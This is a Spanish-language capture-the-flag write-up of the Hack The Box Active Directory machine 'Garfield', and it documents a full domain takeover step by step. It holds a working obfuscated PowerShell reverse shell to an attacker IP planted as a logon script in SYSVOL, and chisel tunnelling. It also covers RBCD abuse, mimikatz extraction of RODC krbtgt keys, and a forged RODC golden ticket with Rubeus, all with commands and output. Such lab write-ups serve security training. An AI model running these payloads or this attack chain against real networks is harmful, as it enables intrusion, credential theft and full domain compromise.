Garfield WriteUp
Tabla de contenido
Garfield es una máquina de dificultad 🟥 Hard de Hack The Box, Season 10, creada por ruycr4ft. Es una máquina de assume breach (empezamos con credenciales, como en un pentest real) y de Active Directory puro. La cadena arranca abusando del atributo scriptPath para inyectar un logon script y saltar a l.wilson, sigue con un ForceChangePassword hasta una cuenta con WinRM, y para el root nos toca lo más entretenido: alcanzar un Read-Only Domain Controller (RODC) interno alojado en Hyper-V, comprometerlo por RBCD, y ejecutar un RODC Golden Ticket para convertir la clave del RODC en un ticket válido de Administrator del dominio.
🧭 Aviso honesto. Esta máquina se me atragantó por detalles de entorno (túnel, sincronización de reloj, versiones de herramientas), no por la técnica. He dejado al final una sección de errores y lecciones con todo lo que me hizo perder tiempo, porque probablemente sea lo más útil del writeup.
🗺️ Cadena de Ataque
Credenciales j.arbuckle (assume breach)
│
▼
BloodHound → j.arbuckle tiene WriteProperty sobre scriptPath de l.wilson y l.wilson_adm
│
▼
Sobrescribir printerDetect.bat en SYSVOL + scriptPath → shell/acción como l.wilson (bot de logon)
│
▼
l.wilson tiene ForceChangePassword sobre l.wilson_adm → reset → WinRM → user.txt 🚩
│
▼
l.wilson_adm: AddSelf a "RODC Administrators" + WriteAccountRestrictions sobre RODC01
│
▼
Puerto 2179 (Hyper-V) → RODC01 en 192.168.100.2 → túnel con chisel
│
▼
Crear ATTACKER$ + RBCD sobre RODC01$ → S4U → SYSTEM en RODC01
│
▼
mimikatz → clave AES256 de krbtgt_8245 + hash de RODC01$
│
▼
Ajustar la Password Replication Policy (NeverReveal vacío + Administrator en RevealOnDemand)
│
▼
Rubeus RODC Golden Ticket → asktgs cifs/DC01 → psexec como Administrator → root.txt 🏴
🔍 Reconocimiento
Apuntamos la máquina en el /etc/hosts y escaneamos en dos fases.
echo "10.129.244.207 dc01.garfield.htb garfield.htb DC01" | sudo tee -a /etc/hosts
sudo nmap -p- --open -Pn --min-rate 5000 -oA ports -vvv dc01.garfield.htb
grep -oP '\d+/open' ports.gnmap | cut -d'/' -f1 | sort -u | tr '\n' ',' | sed 's/,$//' > ports.txt
sudo nmap -sCV -p$(cat ports.txt) -Pn -oA scan -vvv dc01.garfield.htb
| Puerto | Servicio | Detalle |
|---|---|---|
53 | DNS | Active Directory |
88, 389, 636, 3268, 9389 | Kerberos / LDAP / GC / ADWS | Controlador de dominio |
135, 139, 445 | RPC / NetBIOS / SMB | Windows Server 2019 |
464 | kpasswd | |
2179 | vmrdp | Hyper-V Virtual Machine Remote Desktop |
3389 | RDP | |
5985 | WinRM |
🎯 El puerto
2179(Hyper-V vmrdp) es la gran pista: DC01 aloja máquinas virtuales internas. Casi seguro hay un RODC en una red interna que no vemos desde fuera.
Validación de credenciales
Nos dan j.arbuckle : Th1sD4mnC4t!@1978. Validamos:
netexec smb dc01.garfield.htb -u j.arbuckle -p 'Th1sD4mnC4t!@1978'
netexec ldap dc01.garfield.htb -u j.arbuckle -p 'Th1sD4mnC4t!@1978'
netexec winrm dc01.garfield.htb -u j.arbuckle -p 'Th1sD4mnC4t!@1978' # NO autorizado
SMB y LDAP válidos, pero j.arbuckle no tiene WinRM. Hay que movernos a otra cuenta.
⏰ Desfase de reloj. El DC va +8 horas respecto a la Kali. Todo lo que sea Kerberos (
getST,secretsdump -k, Rubeus…) fallará conKRB_AP_ERR_SKEWsi no lo corregimos. En vez de tocar el reloj del sistema, prefijamos los comandos Kerberos confaketime:faketime -f "+8h" impacket-getST ...Ojo con la sintaxis: es
faketime -f "+8h", nofaketime "+8h". Y calcula el offset exacto comparando tu hora con la del DC (nmap -sT -p445 --script smb2-time).
📊 Enumeración con BloodHound
faketime -f "+8h" bloodhound-python -u j.arbuckle -p 'Th1sD4mnC4t!@1978' -d garfield.htb -dc dc01.garfield.htb -ns 10.129.244.207 -c All --zip
El camino que interesa: j.arbuckle tiene WriteProperty sobre el atributo scriptPath de l.wilson (y también de l.wilson_adm).
⚠️ Corrección importante respecto a lo que se lee por ahí.
j.arbuckleno tieneWriteDaclsobrel.wilson, solo puede escribir el atributoscriptPath. Lo confirmé con bloodyAD, porque intentar añadir una ACE (para resetear la contraseña por la vía DACL) falla coninsufficientAccessRights:bloodyAD -u j.arbuckle -p 'Th1sD4mnC4t!@1978' -d garfield.htb --host dc01.garfield.htb get writable --detail # CN=Liz Wilson,... scriptPath: WRITE # CN=Liz Wilson ADM,... scriptPath: WRITE
💉 Acceso inicial, abuso de scriptPath
🧠 El atributo
scriptPathdefine el logon script que se ejecuta cuando el usuario inicia sesión. Se busca en\\DC\NETLOGON\(que es\\DC\SYSVOL\<dominio>\scripts\). Si podemos escribir ese atributo y controlar el script, ejecutamos código en el contexto del usuario cuando haga login. En Garfield hay un bot que loguea al.wilsoncada 1-2 minutos.
Paso 1, Sobrescribir el logon script en SYSVOL
En \\DC\NETLOGON\ ya existe un printerDetect.bat. Un usuario normal no puede crear ficheros nuevos ahí, pero, clave, sí puede sobrescribir el existente:
cat > auth_ja.txt <<'EOF'
username=j.arbuckle
password=Th1sD4mnC4t!@1978
domain=garfield.htb
EOF
# generar el payload (reverse shell + reset de l.wilson_adm) y codificarlo
cat > payload.ps1 <<'PS'
try{ $p=([adsisearcher]'(samaccountname=l.wilson_adm)').FindOne().Path; ([adsi]$p).SetPassword('Garf1eld_Pwn3d!') }catch{}
try{ $c=New-Object System.Net.Sockets.TCPClient('10.10.14.142',4444);$s=$c.GetStream();[byte[]]$b=0..65535|%{0};while(($i=$s.Read($b,0,$b.Length)) -ne 0){$d=(New-Object Text.ASCIIEncoding).GetString($b,0,$i);$r=(iex $d 2>&1|Out-String);$r2=$r+'PS '+(pwd).Path+'> ';$sb=([text.encoding]::ASCII).GetBytes($r2);$s.Write($sb,0,$sb.Length);$s.Flush()};$c.Close() }catch{}
PS
B64=$(iconv -f UTF-8 -t UTF-16LE payload.ps1 | base64 -w0)
printf '@echo off\r\npowershell -nop -w hidden -ep bypass -enc %s\r\n' "$B64" > printerDetect.bat
# sobrescribir el existente
smbclient //dc01.garfield.htb/SYSVOL -A auth_ja.txt -c 'cd garfield.htb\scripts; put printerDetect.bat printerDetect.bat'
💡 Con
smbclientde Samba el login por Kerberos fallaba (NT_STATUS_LOGON_FAILURE/ problemas con el!de la contraseña). La solución fiable es un fichero de credenciales (-A), y para SMB por el túnel más adelante, usar losimpacket-*en vez de Samba.
Paso 2, Fijar el scriptPath
bloodyAD -u j.arbuckle -p 'Th1sD4mnC4t!@1978' -d garfield.htb --host dc01.garfield.htb set object l.wilson scriptPath -v 'printerDetect.bat'
Paso 3, Recoger el resultado
En vez de depender de una reverse shell interactiva (que hay que cazar en el momento justo del logon), el payload que dejé resetea él mismo la contraseña de l.wilson_adm (porque l.wilson, que es quien ejecuta el script, tiene ForceChangePassword sobre l.wilson_adm). Así solo tengo que pollear hasta que la cuenta autentique:
# esperar al bot y comprobar
while :; do netexec winrm dc01.garfield.htb -u l.wilson_adm -p 'Garf1eld_Pwn3d!' 2>&1 | grep -q '(Pwn3d!)' && break; sleep 15; done
🐛 Un fallo que me costó una vuelta: intenté que el payload balizara escribiendo en un share SMB mío (para saber que había disparado). No funciona desde el contexto del logon (la escritura anónima falla). El reverse shell TCP y el reset autónomo sí. Lección: para señalizar, TCP saliente > SMB entrante.
Cuando el bot loguea a l.wilson, el script resetea l.wilson_adm y entramos por WinRM:
evil-winrm -i dc01.garfield.htb -u l.wilson_adm -p 'Garf1eld_Pwn3d!'
🚩 User Flag
type C:\Users\l.wilson_adm\Desktop\user.txt
# REDACTED
🧭 El RODC interno
l.wilson_adm es miembro de Remote Management Users, y en el grafo tiene dos derechos jugosos sobre el objeto RODC01:
AddSelfsobre el grupo RODC Administrators (podemos autoañadirnos).WriteAccountRestrictionssobreRODC01$(nos deja escribir sumsDS-AllowedToActOnBehalfOfOtherIdentity→ RBCD, y su Password Replication Policy).
Enumeramos la red interna desde DC01:
ipconfig # DC01 tiene 10.129.244.207 y una interfaz interna 192.168.100.1
El RODC vive en 192.168.100.2 (rodc01.garfield.htb), alcanzable desde DC01 pero no desde nuestra Kali. Además, por LDAP confirmamos que su msDS-KrbTgtLink es krbtgt_8245 (el número del RODC es 8245) y que su msDS-RevealedUsers ya incluye a Administrator.
netexec ldap dc01.garfield.htb -u l.wilson_adm -p 'Garf1eld_Pwn3d!' --query "(objectClass=computer)" "sAMAccountName msDS-KrbTgtLink"
🔗 Túnel a la red interna con chisel
Necesitamos enrutar tráfico a 192.168.100.0/24 a través de DC01.
# En Kali: servidor chisel (¡con nohup+disown o morirá!)
nohup ./chisel server -p 443 --reverse >chisel.log 2>&1 & disown
# Subir el cliente a DC01 (el 8000 de mi HTTP sale del DC; el 8889 NO — ojo con los puertos de egress)
netexec winrm dc01.garfield.htb -u l.wilson_adm -p 'Garf1eld_Pwn3d!' -X "iwr http://10.10.14.142:8000/chisel.exe -OutFile C:\Windows\Temp\chisel.exe"
# Ejecutar el cliente en primer plano dentro de una sesión WinRM que dejamos abierta (así persiste)
netexec winrm dc01.garfield.htb -u l.wilson_adm -p 'Garf1eld_Pwn3d!' -X "& C:\Windows\Temp\chisel.exe client 10.10.14.142:443 R:socks" # lanzar en background
🐛 Aquí perdí un buen rato. Dos trampas:
- Los procesos que lanzas por WinRM con
Start-Processmueren al cerrarse la sesión. La forma fiable de mantener el cliente vivo es ejecutarlo en primer plano dentro de una sesión WinRM que dejas corriendo en segundo plano.- Con el túnel arriba,
proxychainsseguía dando “Connection refused” a todo. El motivo era la línea por defectosocks4 127.0.0.1 9050en/etc/proxychains4.confpeleándose con misocks5 127.0.0.1 1080. Dejando solo elsocks5 1080, el túnel funcionó al instante:sed -i 's/^socks4/#socks4/' /etc/proxychains4.conf echo 'socks5 127.0.0.1 1080' >> /etc/proxychains4.conf proxychains4 -q nc -zv 192.168.100.2 445 # Connection succeeded!
🏗️ SYSTEM en RODC01 vía RBCD
l.wilson_adm puede escribir el RBCD de RODC01$ (que vive en el DC principal, directamente accesible). Creamos una cuenta de máquina y la delegamos:
# 1) autoañadirnos a RODC Administrators
bloodyAD -u l.wilson_adm -p 'Garf1eld_Pwn3d!' -d garfield.htb --host 10.129.244.207 add groupMember "RODC Administrators" l.wilson_adm
# 2) crear la cuenta de máquina
impacket-addcomputer garfield.htb/l.wilson_adm:'Garf1eld_Pwn3d!' -dc-ip 10.129.244.207 -computer-name 'ATTACKER$' -computer-pass 'Attacker123!'
# 3) RBCD: RODC01$ confía en ATTACKER$
impacket-rbcd garfield.htb/l.wilson_adm:'Garf1eld_Pwn3d!' -delegate-to 'RODC01$' -delegate-from 'ATTACKER$' -action write -dc-ip 10.129.244.207
Pedimos un ticket de servicio impersonando a Administrator para cifs/RODC01 (S4U):
faketime -f "+8h" impacket-getST garfield.htb/'ATTACKER$':'Attacker123!' -spn cifs/RODC01.garfield.htb -impersonate Administrator -dc-ip 10.129.244.207
export KRB5CCNAME='Administrator@cifs_RODC01.garfield.htb@GARFIELD.HTB.ccache'
Y con ese ticket, por el túnel, volcamos las credenciales del RODC:
echo "192.168.100.2 rodc01.garfield.htb RODC01" | sudo tee -a /etc/hosts
proxychains4 -q faketime -f "+8h" impacket-secretsdump -k -no-pass rodc01.garfield.htb
De aquí sacamos el hash NT de RODC01$:
GARFIELD\RODC01$:aad3b435b51404eeaad3b435b51404ee:0a3f810964bb5e1f0e52245f73700172:::
🗝️ La clave de krbtgt_8245 con mimikatz
El secretsdump remoto no nos da la clave de krbtgt_8245 (ni por DRSUAPI, el RODC no puede replicar, ni por VSS, solo saca el SAM local). La vía que funciona es mimikatz local en el RODC, que sí lee la cuenta krbtgt del propio RODC. Subimos mimikatz con el ticket S4U y lo ejecutamos:
# subir (impacket-smbclient maneja bien Kerberos; el put toma un solo argumento)
proxychains4 -q faketime -f "+8h" impacket-smbclient -k -no-pass rodc01.garfield.htb
# use C$ / cd Windows\Temp / put mimikatz.exe
proxychains4 -q faketime -f "+8h" impacket-wmiexec -k -no-pass rodc01.garfield.htb \
'C:\Windows\Temp\mimikatz.exe "privilege::debug" "lsadump::lsa /inject /name:krbtgt_8245" "exit"'
User : krbtgt_8245
NTLM : 445aa4221e751da37a10241d962780e2
aes256_hmac (4096) : d6c93cbe006372adb8403630f9e86594f52c8105a52f9b21fef62e9c7a75e240
🔑 El dominio rechaza RC4, así que necesitamos la AES256. El SID del dominio lo teníamos del RBCD:
S-1-5-21-2502726253-3859040611-225969357.
🏆 RODC Golden Ticket → Administrator
🧠 Un RODC solo puede “revelar” (cachear) las credenciales de las cuentas que su Password Replication Policy (PRP) permite. Por defecto,
Administratorestá denegado (vía el grupo Denied RODC Password Replication Group, que está en elmsDS-NeverRevealGroupdel RODC). Como controlamosRODC01, podemos reescribir esa política.
Paso 1, Ajustar la PRP (¡el orden importa!)
# 1º LIMPIAR el deny, 2º poner el allow. Las entradas de deny SIEMPRE ganan a las de allow.
bloodyAD -u l.wilson_adm -p 'Garf1eld_Pwn3d!' -d garfield.htb --host 10.129.244.207 set object 'RODC01$' msDS-NeverRevealGroup
bloodyAD -u l.wilson_adm -p 'Garf1eld_Pwn3d!' -d garfield.htb --host 10.129.244.207 set object 'RODC01$' msDS-RevealOnDemandGroup -v 'CN=Administrator,CN=Users,DC=garfield,DC=htb'
Paso 2, Forjar el golden ticket del RODC y pedir un ticket de servicio
Con la clave AES256 de krbtgt_8245 forjamos un TGT de Administrator “emitido por el RODC”, y con él pedimos un ticket cifs/DC01 al DC principal (que ahora sí lo honra, porque la PRP ya lo permite). Rubeus corre en el RODC (donde no hay AV que lo bloquee):
# forjar el TGT (RODC 8245)
C:\Windows\Temp\Rubeus.exe golden /rodcNumber:8245 /aes256:d6c93cbe...e240 /user:Administrator /id:500 /domain:garfield.htb /sid:S-1-5-21-2502726253-3859040611-225969357 /nowrap
# pedir cifs/DC01 con ese TGT
C:\Windows\Temp\Rubeus.exe asktgs /ticket:<TGT_B64> /service:cifs/DC01.garfield.htb /dc:dc01.garfield.htb /nowrap
# [+] TGS request successful!
🐛 Dos cosas me tuvieron dando vueltas aquí, y son la razón principal del retraso:
impacket-keylistattackdaba siempreKDC_ERR_TGT_REVOKED(“User Administrator is not allowed to have passwords replicated in RODCs”) aun con la PRP correctamente ajustada. En vez de pelearme con esa variante, el camino que sí funciona es el de arriba: golden → asktgs cifs/DC01 → psexec.- La versión de Rubeus. Con el Rubeus de Ghostpack-CompiledBinaries (v2.2.0) el
asktgsfallaba conKRB_AP_ERR_BAD_INTEGRITY(bug conocido). Con un Rubeus v2.3.3+ (por ejemplo el de SharpCollection) funcionó a la primera. Si ves BAD_INTEGRITY con la clave correcta, actualiza Rubeus.
Paso 3, Acceso como Administrator y root
Convertimos el ticket cifs y lo usamos contra DC01:
echo '<TICKET_CIFS_B64>' | base64 -d > cifs.kirbi
impacket-ticketConverter cifs.kirbi cifs.ccache
export KRB5CCNAME=cifs.ccache
faketime -f "+8h" impacket-wmiexec -k -no-pass Administrator@DC01.garfield.htb 'whoami'
# garfield\administrator
🏴 Root Flag
faketime -f "+8h" impacket-wmiexec -k -no-pass Administrator@DC01.garfield.htb 'type C:\Users\Administrator\Desktop\root.txt'
# REDACTED
🧯 Errores, lecciones y por qué costó tanto
La técnica de Garfield está clara, lo que la hace dura (y lo que me hizo perder tiempo) es el entorno. Resumo los baches por si te ahorran horas:
| Síntoma | Causa | Solución |
|---|---|---|
KRB_AP_ERR_SKEW en todo lo Kerberos | Reloj del DC +8h | faketime -f "+8h" <cmd> (¡con -f!) |
| Servidores (chisel/http) se caían solos | Procesos en background mueren al salir el shell de WSL | nohup ... & disown |
proxychains “Connection refused” a todo | Línea por defecto socks4 9050 en conflicto | Dejar solo socks5 127.0.0.1 1080 |
| Cliente chisel no persistía | Start-Process por WinRM muere con la sesión | Ejecutarlo en primer plano en una sesión WinRM abierta |
smbclient login fail por Kerberos | Samba + ! en la password + kerberos por túnel | Fichero -A para NTLM, impacket-* para Kerberos |
keylistattack → TGT_REVOKED | Variante KERB-KEY-LIST quisquillosa con la PRP | Usar golden + asktgs cifs/DC01 |
Rubeus BAD_INTEGRITY con clave correcta | Bug de Rubeus v2.2.0 | Rubeus v2.3.3+ (SharpCollection) |
| “not allowed to replicate” pese a tocar la PRP | Orden de la política | Limpiar NeverRevealGroup primero, luego RevealOnDemand |
No podía crear el .bat en NETLOGON | Usuario normal no crea ficheros nuevos ahí | Sobrescribir el printerDetect.bat existente |
Y una nota de metodología: verifica los permisos en la caja, no te fíes de writeups ajenos. Varias fuentes decían que j.arbuckle tenía WriteDacl sobre l.wilson, en realidad solo tiene WriteProperty sobre scriptPath. Dar por buena esa suposición me hizo perder un intento con un reset de contraseña que nunca iba a funcionar.
📝 Resumen de la cadena
| # | Técnica | Herramienta | Resultado |
|---|---|---|---|
| 1 | Reconocimiento | nmap | DC + puerto 2179 (Hyper-V) |
| 2 | Enumeración AD | bloodhound-python | j.arbuckle → WriteProperty en scriptPath |
| 3 | Logon script | smbclient + bloodyAD | acción como l.wilson (bot de logon) |
| 4 | Movimiento lateral | ForceChangePassword | WinRM como l.wilson_adm + user.txt 🚩 |
| 5 | Túnel | chisel (R:socks) + proxychains | acceso a 192.168.100.0/24 → RODC01 |
| 6 | RBCD | addcomputer + rbcd + getST | SYSTEM en RODC01 |
| 7 | Credenciales RODC | mimikatz | AES256 de krbtgt_8245 + hash de RODC01$ |
| 8 | PRP | bloodyAD | NeverReveal vacío + Administrator en RevealOnDemand |
| 9 | RODC Golden Ticket | Rubeus golden + asktgs | ticket cifs/DC01 como Administrator |
| 10 | Acceso como DA | impacket-wmiexec -k | Domain Admin + root.txt 🏴 |
Un saludo, nos vemos en el próximo challenge.
